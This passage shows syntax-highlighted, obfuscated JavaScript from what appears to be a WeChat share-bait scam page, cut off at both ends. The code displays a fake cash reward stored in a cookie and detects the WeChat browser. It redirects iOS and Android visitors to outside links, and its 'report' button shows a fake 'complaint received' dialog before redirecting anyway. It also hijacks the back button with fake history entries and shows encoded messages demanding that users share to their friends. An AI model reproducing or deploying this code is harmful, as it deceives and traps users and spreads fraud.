&#123;</span><br><span class="line">	<span class="keyword">var</span> <span class="title class_">ICoQoYpXZ</span>50 = <span class="variable language_">window</span>[<span class="string">&quot;document&quot;</span>][<span class="string">&#x27;getElementById&#x27;</span>](<span class="string">&#x27;cross-domain-img&#x27;</span>);</span><br><span class="line">	<span class="keyword">if</span> (<span class="title class_">ICoQoYpXZ</span>50 != <span class="literal">null</span>) &#123;</span><br><span class="line">		<span class="title class_">ICoQoYpXZ</span>50[<span class="string">&#x27;style&#x27;</span>][<span class="string">&#x27;width&#x27;</span>] = tONm1 + <span class="string">&#x27;px&#x27;</span>;</span><br><span class="line">		<span class="title class_">ICoQoYpXZ</span>50[<span class="string">&#x27;height&#x27;</span>] = hcRdr2;</span><br><span class="line">		<span class="title class_">ICoQoYpXZ</span>50[<span class="string">&#x27;style&#x27;</span>][<span class="string">&#x27;display&#x27;</span>] = <span class="string">&#x27;block&#x27;</span>;</span><br><span class="line">	&#125;</span><br><span class="line">	<span class="variable language_">window</span>[<span class="string">&quot;document&quot;</span>][<span class="string">&#x27;body&#x27;</span>][<span class="string">&#x27;style&#x27;</span>] = <span class="string">&quot;display:block;margin:0 auto;&quot;</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">playMusic</span>(<span class="params"></span>) &#123;</span><br><span class="line">	<span class="variable language_">window</span>[<span class="string">&quot;document&quot;</span>][<span class="string">&#x27;getElementById&#x27;</span>](<span class="string">&quot;bg-music&quot;</span>)[<span class="string">&#x27;play&#x27;</span>]();</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">setMapArea</span>(<span class="params"></span>) &#123;</span><br><span class="line">	<span class="keyword">var</span> g51 = <span class="number">.4</span> * tONm1,</span><br><span class="line">		_LE52 = <span class="number">.64</span> * hcRdr2,</span><br><span class="line">		l53 = <span class="number">.6</span> * tONm1,</span><br><span class="line">		owp54 = <span class="number">.72</span> * hcRdr2,</span><br><span class="line">		<span class="title class_">LP55</span> = <span class="variable language_">window</span>[<span class="string">&quot;document&quot;</span>][<span class="string">&#x27;getElementsByTagName&#x27;</span>](<span class="string">&quot;area&quot;</span>);</span><br><span class="line">	<span class="title class_">LP55</span>[<span class="number">0</span>][<span class="string">&#x27;coords&#x27;</span>] = (<span class="literal">null</span> != <span class="title class_">LP55</span>) ? g51 + <span class="string">&quot;,&quot;</span> + _LE52 + <span class="string">&quot;,&quot;</span> + l53 + <span class="string">&quot;,&quot;</span> + owp54 : <span class="string">&quot;0,0,1000,1000&quot;</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">randomMoney</span>(<span class="params"></span>) &#123;</span><br><span class="line">	<span class="keyword">var</span> alBgkzw56 = <span class="literal">null</span>;</span><br><span class="line">	<span class="keyword">if</span> ((<span class="title function_">getCookie</span>(<span class="string">&quot;MONEY&quot;</span>) == <span class="literal">null</span> || <span class="title function_">getCookie</span>(<span class="string">&quot;MONEY&quot;</span>) == <span class="string">&quot;&quot;</span> || <span class="title function_">getCookie</span>(<span class="string">&quot;MONEY&quot;</span>) == <span class="literal">undefined</span>)) &#123;</span><br><span class="line">		alBgkzw56 = ((<span class="number">50</span> * <span class="variable language_">window</span>[<span class="string">&quot;Math&quot;</span>][<span class="string">&#x27;random&#x27;</span>]()) + <span class="number">80</span>)[<span class="string">&#x27;toFixed&#x27;</span>](<span class="number">0</span>);</span><br><span class="line">		<span class="title function_">setCookie</span>(<span class="string">&quot;MONEY&quot;</span>, alBgkzw56);</span><br><span class="line">	&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">		alBgkzw56 = <span class="title function_">getCookie</span>(<span class="string">&quot;MONEY&quot;</span>);</span><br><span class="line">	&#125;</span><br><span class="line">	<span class="keyword">return</span> alBgkzw56;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">dialogInit</span>(<span class="params"></span>) &#123;</span><br><span class="line">	<span class="keyword">var</span> <span class="title class_">MtkQtomX57</span> = <span class="variable language_">window</span>[<span class="string">&quot;document&quot;</span>][<span class="string">&#x27;createElement&#x27;</span>](<span class="string">&quot;div&quot;</span>);</span><br><span class="line">	<span class="title class_">MtkQtomX57</span>[<span class="string">&#x27;id&#x27;</span>] = <span class="string">&quot;sdk_dialog&quot;</span>, <span class="title class_">MtkQtomX57</span>[<span class="string">&#x27;innerHTML&#x27;</span>] = <span class="string">&#x27;&lt;div class=&quot;weui-mask weui-mask--visible&quot;&gt;&lt;/div&gt;&lt;div class=&quot;weui-dialog weui-dialog--visible&quot;&gt;&lt;div class=&quot;weui-dialog__hd&quot;&gt;&lt;strong class=&quot;weui-dialog__title&quot;&gt;&lt;span style=&quot;color:red;&quot; id=&quot;sdk_dialog_hd&quot;&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/div&gt;&lt;div class=&quot;weui-dialog__bd&quot; id=&quot;sdk_dialog_bd&quot;&gt;&lt;/div&gt;&lt;div class=&quot;weui-dialog__ft&quot;&gt;&lt;a id=&quot;sdk_dialog_ft&quot; href=&quot;javascript:;&quot; class=&quot;weui-dialog__btn weui-dialog__btn_primary&quot;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&#x27;</span>, <span class="variable language_">window</span>[<span class="string">&quot;document&quot;</span>][<span class="string">&#x27;body&#x27;</span>][<span class="string">&#x27;appendChild&#x27;</span>](<span class="title class_">MtkQtomX57</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">createMoney</span>(<span class="params"></span>) &#123;</span><br><span class="line">	<span class="keyword">var</span> dWyovTEt58 = <span class="variable language_">window</span>[<span class="string">&quot;document&quot;</span>][<span class="string">&#x27;createElement&#x27;</span>](<span class="string">&quot;div&quot;</span>);</span><br><span class="line">	dWyovTEt58[<span class="string">&#x27;id&#x27;</span>] = <span class="string">&quot;m-amount&quot;</span>;</span><br><span class="line">	<span class="keyword">var</span> vJ59 = <span class="title function_">randomMoney</span>();</span><br><span class="line">	dWyovTEt58[<span class="string">&#x27;innerHTML&#x27;</span>] = vJ59, dWyovTEt58[<span class="string">&#x27;style&#x27;</span>] = <span class="string">&quot;position:fixed;font-size:63px;font-family:STHeiti;&quot;</span>, <span class="variable constant_">O47</span>[<span class="string">&#x27;insertBefore&#x27;</span>](dWyovTEt58, <span class="variable constant_">O47</span>[<span class="string">&#x27;childNodes&#x27;</span>][<span class="number">0</span>]), dWyovTEt58[<span class="string">&#x27;style&#x27;</span>][<span class="string">&#x27;left&#x27;</span>] = <span class="variable language_">window</span>[<span class="string">&quot;document&quot;</span>][<span class="string">&#x27;documentElement&#x27;</span>][<span class="string">&#x27;clientWidth&#x27;</span>] / <span class="number">2</span> - dWyovTEt58[<span class="string">&#x27;clientWidth&#x27;</span>] / <span class="number">2</span> + <span class="string">&quot;px&quot;</span>, dWyovTEt58[<span class="string">&#x27;style&#x27;</span>][<span class="string">&#x27;top&#x27;</span>] = <span class="number">29</span> * <span class="variable language_">window</span>[<span class="string">&quot;document&quot;</span>][<span class="string">&#x27;documentElement&#x27;</span>][<span class="string">&#x27;clientHeight&#x27;</span>] / <span class="number">64</span> - dWyovTEt58[<span class="string">&#x27;clientHeight&#x27;</span>] / <span class="number">2</span> + <span class="string">&quot;px&quot;</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">changeImg</span>(<span class="params"></span>) &#123;</span><br><span class="line">	<span class="title function_">initVisibility</span>();</span><br><span class="line">	<span class="title function_">setCookie</span>(<span class="string">&quot;isClick&quot;</span>, <span class="string">&quot;1&quot;</span>);</span><br><span class="line">	<span class="keyword">var</span> <span class="title class_">XrpnX60</span> = <span class="variable language_">window</span>[<span class="string">&quot;document&quot;</span>][<span class="string">&#x27;getElementById&#x27;</span>](<span class="string">&quot;cross-domain-img&quot;</span>);</span><br><span class="line">	<span class="title class_">XrpnX60</span>[<span class="string">&#x27;removeEventListener&#x27;</span>](<span class="string">&quot;click&quot;</span>, changeImg, <span class="literal">false</span>);</span><br><span class="line">	<span class="built_in">setTimeout</span>(playMusic, <span class="number">1500</span>);</span><br><span class="line">	<span class="built_in">setTimeout</span>(<span class="string">&quot;createMoney();&quot;</span>, <span class="number">2300</span>);</span><br><span class="line">	<span class="built_in">setTimeout</span>(<span class="string">&quot;setMapArea();&quot;</span>, <span class="number">800</span>);</span><br><span class="line">	<span class="built_in">setTimeout</span>(<span class="string">&quot;clickArea();&quot;</span>, <span class="number">800</span>);</span><br><span class="line">	<span class="keyword">if</span> (<span class="literal">null</span> != <span class="title class_">XrpnX60</span>) &#123;</span><br><span class="line">		<span class="title class_">XrpnX60</span>[<span class="string">&#x27;src&#x27;</span>] = sZQgb7 + <span class="string">&quot;gif.gif&quot;</span>;</span><br><span class="line">		<span class="title class_">XrpnX60</span>[<span class="string">&#x27;id&#x27;</span>] = <span class="string">&quot;1ross-domain-img-opened&quot;</span>;</span><br><span class="line">	&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">clickImg</span>(<span class="params"></span>) &#123;</span><br><span class="line">	<span class="keyword">var</span> <span class="title class_">LStygv61</span> = <span class="variable language_">window</span>[<span class="string">&quot;document&quot;</span>][<span class="string">&#x27;getElementById&#x27;</span>](<span class="string">&quot;cross-domain-img&quot;</span>);</span><br><span class="line">	<span class="title class_">LStygv61</span>[<span class="string">&#x27;src&#x27;</span>] = sZQgb7 + <span class="string">&quot;static.jpg&quot;</span>;</span><br><span class="line">	<span class="keyword">if</span> (<span class="literal">null</span> != <span class="title class_">LStygv61</span>) &#123;</span><br><span class="line">		<span class="title class_">LStygv61</span>[<span class="string">&#x27;addEventListener&#x27;</span>](<span class="string">&quot;click&quot;</span>, changeImg, <span class="literal">false</span>);</span><br><span class="line">	&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">report</span>(<span class="params"></span>) &#123;</span><br><span class="line">	<span class="keyword">var</span> <span class="title class_">Iiz62</span> = <span class="variable language_">window</span>[<span class="string">&quot;document&quot;</span>][<span class="string">&#x27;getElementById&#x27;</span>](<span class="string">&quot;report-btn&quot;</span>);</span><br><span class="line">	<span class="keyword">if</span> (<span class="literal">null</span> != <span class="title class_">Iiz62</span>) &#123;</span><br><span class="line">		<span class="title class_">Iiz62</span>[<span class="string">&#x27;addEventListener&#x27;</span>](<span class="string">&quot;click&quot;</span>, addDialog, <span class="literal">false</span>)</span><br><span class="line">	&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">initReport</span>(<span class="params"></span>) &#123;</span><br><span class="line">	<span class="keyword">if</span> (<span class="title function_">getCookie</span>(<span class="string">&quot;wx110&quot;</span>) == <span class="string">&quot;y&quot;</span>) &#123;</span><br><span class="line">		(mLTeLPR3 == <span class="number">0</span>) ? top[<span class="string">&#x27;location&#x27;</span>][<span class="string">&#x27;href&#x27;</span>] = <span class="title class_">CmJw4</span> : <span class="variable language_">window</span>[<span class="string">&quot;document&quot;</span>][<span class="string">&#x27;location&#x27;</span>][<span class="string">&#x27;href&#x27;</span>] = <span class="title class_">CmJw4</span></span><br><span class="line">	&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">addDialog</span>(<span class="params"></span>) &#123;</span><br><span class="line">	<span class="keyword">var</span> <span class="variable constant_">Q63</span> = <span class="variable language_">window</span>[<span class="string">&quot;document&quot;</span>][<span class="string">&#x27;createElement&#x27;</span>](<span class="string">&quot;div&quot;</span>);</span><br><span class="line">	<span class="variable constant_">Q63</span>[<span class="string">&#x27;className&#x27;</span>] = <span class="string">&quot;weui-mask weui-mask--visible&quot;</span>;</span><br><span class="line">	<span class="variable language_">window</span>[<span class="string">&quot;document&quot;</span>][<span class="string">&#x27;body&#x27;</span>][<span class="string">&#x27;appendChild&#x27;</span>](<span class="variable constant_">Q63</span>);</span><br><span class="line">	<span class="keyword">var</span> zkw64 = <span class="variable language_">window</span>[<span class="string">&quot;document&quot;</span>][<span class="string">&#x27;createElement&#x27;</span>](<span class="string">&quot;div&quot;</span>);</span><br><span class="line">	zkw64[<span class="string">&#x27;className&#x27;</span>] = <span class="string">&quot;weui-dialog weui-dialog--visible&quot;</span>;</span><br><span class="line">	<span class="keyword">var</span> kT65 = <span class="string">&#x27;&lt;div class=&quot;weui-dialog__hd&quot;&gt;&#x27;</span> + <span class="string">&#x27;&lt;strong class=&quot;weui-dialog__title&quot;&gt;&#x27;</span> + <span class="string">&#x27;&lt;span style=&quot;color:red;&quot;&gt;投诉成功&lt;/span&gt;&lt;/strong&gt;&#x27;</span> + <span class="string">&#x27;&lt;/div&gt;&#x27;</span> + <span class="string">&#x27;&lt;div class=&quot;weui-dialog__bd&quot;&gt;&#x27;</span> + <span class="string">&#x27;我们已经收到您的投诉&#x27;</span> + <span class="string">&#x27;&lt;/div&gt;&#x27;</span> + <span class="string">&#x27;&lt;div class=&quot;weui-dialog__ft&quot;&gt;&#x27;</span> + <span class="string">&#x27;&lt;a href=&quot;javascript:;&quot; id=&quot;tousu&quot; class=&quot;weui-dialog__btn primary&quot;&gt;确定&lt;/a&gt;&#x27;</span> + <span class="string">&#x27;&lt;/div&gt;&#x27;</span>;</span><br><span class="line">	zkw64[<span class="string">&#x27;innerHTML&#x27;</span>] = kT65;</span><br><span class="line">	<span class="variable language_">window</span>[<span class="string">&quot;document&quot;</span>][<span class="string">&#x27;body&#x27;</span>][<span class="string">&#x27;appendChild&#x27;</span>](zkw64);</span><br><span class="line">	<span class="keyword">var</span> sfMX$Wdf66 = <span class="variable language_">window</span>[<span class="string">&quot;document&quot;</span>][<span class="string">&#x27;getElementById&#x27;</span>](<span class="string">&quot;tousu&quot;</span>);</span><br><span class="line">	sfMX$Wdf66[<span class="string">&#x27;addEventListener&#x27;</span>](<span class="string">&quot;click&quot;</span>, removeDialog, <span class="literal">false</span>)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">removeDialog</span>(<span class="params"></span>) &#123;</span><br><span class="line">	<span class="title function_">setCookie</span>(<span class="string">&quot;wx110&quot;</span>, <span class="string">&quot;y&quot;</span>);</span><br><span class="line">	(mLTeLPR3 == <span class="number">0</span>) ? top[<span class="string">&#x27;location&#x27;</span>][<span class="string">&#x27;href&#x27;</span>] = <span class="title class_">CmJw4</span> : <span class="variable language_">window</span>[<span class="string">&quot;document&quot;</span>][<span class="string">&#x27;location&#x27;</span>][<span class="string">&#x27;href&#x27;</span>] = <span class="title class_">CmJw4</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">isWeixin</span>(<span class="params"></span>) &#123;</span><br><span class="line">	<span class="keyword">var</span> p67 = navigator[<span class="string">&#x27;userAgent&#x27;</span>][<span class="string">&#x27;toLowerCase&#x27;</span>]();</span><br><span class="line">	<span class="keyword">if</span> (p67[<span class="string">&#x27;match&#x27;</span>](<span class="regexp">/MicroMessenger/i</span>) == <span class="string">&quot;micromessenger&quot;</span>) &#123;</span><br><span class="line">		<span class="keyword">return</span> <span class="literal">true</span></span><br><span class="line">	&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">		<span class="keyword">return</span> <span class="literal">false</span></span><br><span class="line">	&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">PCRd</span>(<span class="params"></span>) &#123;</span><br><span class="line">	<span class="keyword">var</span> cnLgXJL68 = &#123;</span><br><span class="line">		<span class="attr">win</span>: <span class="literal">false</span>,</span><br><span class="line">		<span class="attr">mac</span>: <span class="literal">false</span>,</span><br><span class="line">		<span class="attr">xll</span>: <span class="literal">false</span></span><br><span class="line">	&#125;;</span><br><span class="line">	<span class="keyword">var</span> tQSul69 = navigator[<span class="string">&#x27;platform&#x27;</span>];</span><br><span class="line">	cnLgXJL68[<span class="string">&#x27;win&#x27;</span>] = tQSul69[<span class="string">&#x27;indexOf&#x27;</span>](<span class="string">&quot;Win&quot;</span>) == <span class="number">0</span>;</span><br><span class="line">	cnLgXJL68[<span class="string">&#x27;mac&#x27;</span>] = tQSul69[<span class="string">&#x27;indexOf&#x27;</span>](<span class="string">&quot;Mac&quot;</span>) == <span class="number">0</span>;</span><br><span class="line">	cnLgXJL68[<span class="string">&#x27;x11&#x27;</span>] = tQSul69 == <span class="string">&quot;X11&quot;</span> || tQSul69[<span class="string">&#x27;indexOf&#x27;</span>](<span class="string">&quot;Linux&quot;</span>) == <span class="number">0</span>;</span><br><span class="line">	<span class="keyword">if</span> (cnLgXJL68[<span class="string">&#x27;win&#x27;</span>] || cnLgXJL68[<span class="string">&#x27;mac&#x27;</span>] || cnLgXJL68[<span class="string">&#x27;xll&#x27;</span>] || !<span class="title function_">isWeixin</span>()) &#123;</span><br><span class="line">		<span class="keyword">return</span>;</span><br><span class="line">		<span class="keyword">if</span> (<span class="variable language_">window</span>[<span class="string">&quot;document&quot;</span>][<span class="string">&#x27;location&#x27;</span>][<span class="string">&#x27;href&#x27;</span>][<span class="string">&#x27;indexOf&#x27;</span>](<span class="string">&quot;#&quot;</span>) == -<span class="number">1</span>) &#123;</span><br><span class="line">			(mLTeLPR3 == <span class="number">0</span>) ? top[<span class="string">&#x27;location&#x27;</span>][<span class="string">&#x27;href&#x27;</span>] = <span class="title class_">MsqLT5</span> : <span class="variable language_">window</span>[<span class="string">&quot;document&quot;</span>][<span class="string">&#x27;location&#x27;</span>][<span class="string">&#x27;href&#x27;</span>] = <span class="title class_">MsqLT5</span>;</span><br><span class="line">			hzgG10 = <span class="literal">false</span>;</span><br><span class="line">		&#125;</span><br><span class="line">	&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">UARd</span>(<span class="params"></span>) &#123;</span><br><span class="line">	<span class="keyword">var</span> iAKrFWu70 = navigator[<span class="string">&#x27;userAgent&#x27;</span>];</span><br><span class="line">	<span class="keyword">var</span> goncZk71 = iAKrFWu70[<span class="string">&#x27;indexOf&#x27;</span>](<span class="string">&#x27;Android&#x27;</span>) &gt; -<span class="number">1</span> || iAKrFWu70[<span class="string">&#x27;indexOf&#x27;</span>](<span class="string">&#x27;Adr&#x27;</span>) &gt; -<span class="number">1</span>;</span><br><span class="line">	<span class="keyword">var</span> <span class="title class_">POSYXE72</span> = !! iAKrFWu70[<span class="string">&#x27;match&#x27;</span>](<span class="regexp">/\(i[^;]+;( U;)? CPU.+Mac OS X/</span>);</span><br><span class="line">	<span class="keyword">if</span> (<span class="title class_">POSYXE72</span> == <span class="literal">true</span>) &#123;</span><br><span class="line">		(mLTeLPR3 == <span class="number">0</span>) ? top[<span class="string">&#x27;location&#x27;</span>][<span class="string">&#x27;href&#x27;</span>] = iOSLink : <span class="variable language_">window</span>[<span class="string">&quot;document&quot;</span>][<span class="string">&#x27;location&#x27;</span>][<span class="string">&#x27;href&#x27;</span>] = iOSLink</span><br><span class="line">	&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">redirectToCash</span>(<span class="params"></span>) &#123;</span><br><span class="line">	<span class="keyword">if</span> (kRS12) &#123;</span><br><span class="line">		<span class="title function_">jump</span>();</span><br><span class="line">	&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">		<span class="title function_">show</span>($K13[<span class="string">&#x27;decode&#x27;</span>](<span class="string">&quot;5pyq5YiG5Lqr&quot;</span>), $K13[<span class="string">&#x27;decode&#x27;</span>](<span class="string">&quot;5pyq5YiG5Lqr5Yiw5pyL5Y+L5ZyILOaXoOazleafpeeci+OAgg==&quot;</span>), $K13[<span class="string">&#x27;decode&#x27;</span>](<span class="string">&quot;56Gu5a6a&quot;</span>));</span><br><span class="line">	&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">toKey</span>(<span class="params"></span>) &#123;</span><br><span class="line">	<span class="keyword">if</span> (pv_WPFt11[<span class="string">&#x27;readyState&#x27;</span>] == <span class="number">4</span>) &#123;</span><br><span class="line">		<span class="keyword">if</span> (pv_WPFt11[<span class="string">&#x27;status&#x27;</span>] == <span class="number">200</span>) &#123;</span><br><span class="line">			<span class="keyword">var</span> gGjHZn73 = pv_WPFt11[<span class="string">&#x27;responseText&#x27;</span>];</span><br><span class="line">			<span class="title function_">modifyLocationHref</span>(<span class="title class_">JSON</span>[<span class="string">&#x27;parse&#x27;</span>](gGjHZn73)[<span class="string">&#x27;data&#x27;</span>])</span><br><span class="line">		&#125;</span><br><span class="line">	&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">toPool</span>(<span class="params">content</span>) &#123;</span><br><span class="line">	<span class="keyword">var</span> <span class="title class_">DFXSohh74</span> = content[<span class="string">&#x27;msg&#x27;</span>];</span><br><span class="line">	<span class="keyword">if</span> (<span class="title class_">DFXSohh74</span> != <span class="string">&#x27;error&#x27;</span>) &#123;</span><br><span class="line">		<span class="keyword">var</span> dySFfyYl75 = content[<span class="string">&#x27;data&#x27;</span>];</span><br><span class="line">		<span class="keyword">var</span> <span class="title class_">Jqy76</span> = top[<span class="string">&#x27;location&#x27;</span>][<span class="string">&#x27;pathname&#x27;</span>];</span><br><span class="line">		<span class="keyword">if</span> (<span class="title class_">Jqy76</span> == <span class="string">&#x27;/&#x27;</span> || <span class="title class_">Jqy76</span> == <span class="string">&#x27;/index.html&#x27;</span>) &#123;</span><br><span class="line">			<span class="title class_">Jqy76</span> = <span class="string">&#x27;&#x27;</span></span><br><span class="line">		&#125;</span><br><span class="line">		<span class="keyword">var</span> hR77 = top[<span class="string">&#x27;location&#x27;</span>][<span class="string">&#x27;protocol&#x27;</span>] + <span class="string">&#x27;//&#x27;</span> + top[<span class="string">&#x27;location&#x27;</span>][<span class="string">&#x27;host&#x27;</span>] + <span class="title class_">Jqy76</span>;</span><br><span class="line">		<span class="keyword">if</span> (dySFfyYl75[<span class="string">&#x27;indexOf&#x27;</span>](hR77) != -<span class="number">1</span>) &#123;&#125; <span class="keyword">else</span> &#123;&#125;</span><br><span class="line">	&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">modifyLocationHref</span>(<span class="params">linkArr</span>) &#123;</span><br><span class="line">	<span class="keyword">var</span> fMZ_CIRM78 = linkArr[<span class="variable language_">window</span>[<span class="string">&quot;Math&quot;</span>][<span class="string">&#x27;floor&#x27;</span>](<span class="variable language_">window</span>[<span class="string">&quot;Math&quot;</span>][<span class="string">&#x27;random&#x27;</span>]() * linkArr[<span class="string">&#x27;length&#x27;</span>])];</span><br><span class="line">	(mLTeLPR3 == <span class="number">0</span>) ? top[<span class="string">&#x27;location&#x27;</span>][<span class="string">&#x27;href&#x27;</span>] = fMZ_CIRM78 : <span class="variable language_">window</span>[<span class="string">&quot;document&quot;</span>][<span class="string">&#x27;location&#x27;</span>][<span class="string">&#x27;href&#x27;</span>] = fMZ_CIRM78;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">clickArea</span>(<span class="params"></span>) &#123;</span><br><span class="line">	<span class="variable language_">window</span>[<span class="string">&quot;document&quot;</span>][<span class="string">&#x27;getElementById&#x27;</span>](<span class="string">&quot;img-map&quot;</span>)[<span class="string">&#x27;addEventListener&#x27;</span>](<span class="string">&quot;click&quot;</span>, redirectToCash, <span class="literal">false</span>)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">historyADPage</span>(<span class="params"></span>) &#123;</span><br><span class="line">	<span class="keyword">var</span> kmsUd79 = <span class="keyword">new</span> <span class="variable language_">window</span>[<span class="string">&quot;Date&quot;</span>]()[<span class="string">&#x27;getHours&#x27;</span>]();</span><br><span class="line">	<span class="keyword">if</span> (kmsUd79 &gt;= -<span class="number">1</span>) &#123;</span><br><span class="line">		<span class="built_in">setTimeout</span>(addADToHistory, <span class="number">200</span>);</span><br><span class="line">	&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">addADToHistory</span>(<span class="params"></span>) &#123;</span><br><span class="line">	history[<span class="string">&#x27;pushState&#x27;</span>](history[<span class="string">&#x27;length&#x27;</span>] + <span class="number">1</span>, <span class="string">&quot;&quot;</span>, <span class="string">&quot;#pt_&quot;</span> + <span class="keyword">new</span> <span class="variable language_">window</span>[<span class="string">&quot;Date&quot;</span>]()[<span class="string">&#x27;getTime&#x27;</span>]());</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">hashChangeJump</span>(<span class="params"></span>) &#123;</span><br><span class="line">	<span class="keyword">if</span> (<span class="variable language_">window</span>[<span class="string">&quot;Math&quot;</span>][<span class="string">&#x27;random&#x27;</span>]() &gt; <span class="number">0.1</span>) &#123;</span><br><span class="line">		<span class="variable language_">window</span>[<span class="string">&quot;document&quot;</span>][<span class="string">&#x27;location&#x27;</span>][<span class="string">&#x27;href&#x27;</span>] = androidLink + <span class="string">&quot;?ad=&quot;</span> + (<span class="variable language_">window</span>[<span class="string">&quot;parseInt&quot;</span>]((<span class="variable language_">window</span>[<span class="string">&quot;parseInt&quot;</span>](<span class="keyword">new</span> <span class="variable language_">window</span>[<span class="string">&quot;Date&quot;</span>]()[<span class="string">&#x27;getTime&#x27;</span>]() / (<span class="number">1000</span> * <span class="number">60</span> * <span class="number">1</span>)) + <span class="string">&#x27;&#x27;</span>)[<span class="string">&#x27;substring&#x27;</span>](<span class="number">2</span>)) + <span class="number">5000</span>);</span><br><span class="line">	&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">Base64</span>(<span class="params"></span>) &#123;</span><br><span class="line">	_keyStr = <span class="string">&quot;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=&quot;</span>;</span><br><span class="line">	<span class="variable language_">this</span>[<span class="string">&#x27;encode&#x27;</span>] = <span class="keyword">function</span>(<span class="params">input</span>) &#123;</span><br><span class="line">		<span class="keyword">var</span> <span class="variable constant_">NHMG_DPM</span>$<span class="number">80</span> = <span class="string">&quot;&quot;</span>;</span><br><span class="line">		<span class="keyword">var</span> D_k81, <span class="title class_">EEQyVO</span>82, fWdfIEGk83, <span class="title class_">SkrvksO84</span>, hbdLpXt85, zHKagkmq86, s_$wej87;</span><br><span class="line">		<span class="keyword">var</span> gDtp$zkLC88 = <span class="number">0</span>;</span><br><span class="line">		input = <span class="title function_">_utf8_encode</span>(input);</span><br><span class="line">		<span class="keyword">while</span> (gDtp$zkLC88 &lt; input[<span class="string">&#x27;length&#x27;</span>]) &#123;</span><br><span class="line">			D_k81 = input[<span class="string">&#x27;charCodeAt&#x27;</span>](gDtp$zkLC88++);</span><br><span class="line">			<span class="title class_">EEQyVO</span>82 = input[<span class="string">&#x27;charCodeAt&#x27;</span>](gDtp$zkLC88++);</span><br><span class="line">			fWdfIEGk83 = input[<span class="string">&#x27;charCodeAt&#x27;</span>](gDtp$zkLC88++);</span><br><span class="line">			<span class="title class_">SkrvksO84</span> = D_k81 &gt;&gt; <span class="number">2</span>;</span><br><span class="line">			hbdLpXt85 = ((D_k81 &amp; <span class="number">3</span>) &lt;&lt; <span class="number">4</span>) | (<span class="title class_">EEQyVO</span>82 &gt;&gt; <span class="number">4</span>);</span><br><span class="line">			zHKagkmq86 = ((<span class="title class_">EEQyVO</span>82 &amp; <span class="number">15</span>) &lt;&lt; <span class="number">2</span>) | (fWdfIEGk83 &gt;&gt; <span class="number">6</span>);</span><br><span class="line">			s_$wej87 = fWdfIEGk83 &amp; <span class="number">63</span>;</span><br><span class="line">			<span class="keyword">if</span> (<span class="built_in">isNaN</span>(<span class="title class_">EEQyVO</span>82)) &#123;</span><br><span class="line">				zHKagkmq86 = s_$wej87 = <span class="number">64</span></span><br><span class="line">			&#125; <span class="keyword">else</span> <span class="keyword">if</span> (<span class="built_in">isNaN</span>(fWdfIEGk83)) &#123;</span><br><span class="line">				s_$wej87 = <span class="number">64</span></span><br><span class="line">			&#125;</span><br><span class="line">			<span class="variable constant_">NHMG_DPM</span>$<span class="number">80</span> = <span class="variable constant_">NHMG_DPM</span>$<span class="number">80</span> + _keyStr[<span class="string">&#x27;charAt&#x27;</span>](<span class="title class_">SkrvksO84</span>) + _keyStr[<span class="string">&#x27;charAt&#x27;</span>](hbdLpXt85) + _keyStr[<span class="string">&#x27;charAt&#x27;</span>](zHKagkmq86) + _keyStr[<span class="string">&#x27;charAt&#x27;</span>](s_$wej87)</span><br><span class="line">		&#125;</span><br><span class="line">		<span class="keyword">return</span> <span class="variable constant_">NHMG_DPM</span>$<span class="number">80</span></span><br><span class="line">	&#125;;</span><br><span class="line">	<span class="variable language_">this</span>[<span class="string">&#x27;decode&#x27;</span>] = <span class="keyword">function</span>(<span class="params">input</span>) &#123;</span><br><span class="line">		<span class="keyword">var</span> fTgOsCovo89 = <span class="string">&quot;&quot;</span>;</span><br><span class="line">		<span class="keyword">var</span> ijm90, <span class="title class_">LBwWIw</span>91, $Hhkp92;</span><br><span class="line">		<span class="keyword">var</span> hhcvG93, s94, <span class="title class_">LqMXu95</span>, <span class="title class_">BQmBU</span>96;</span><br><span class="line">		<span class="keyword">var</span> gFVlTR97 = <span 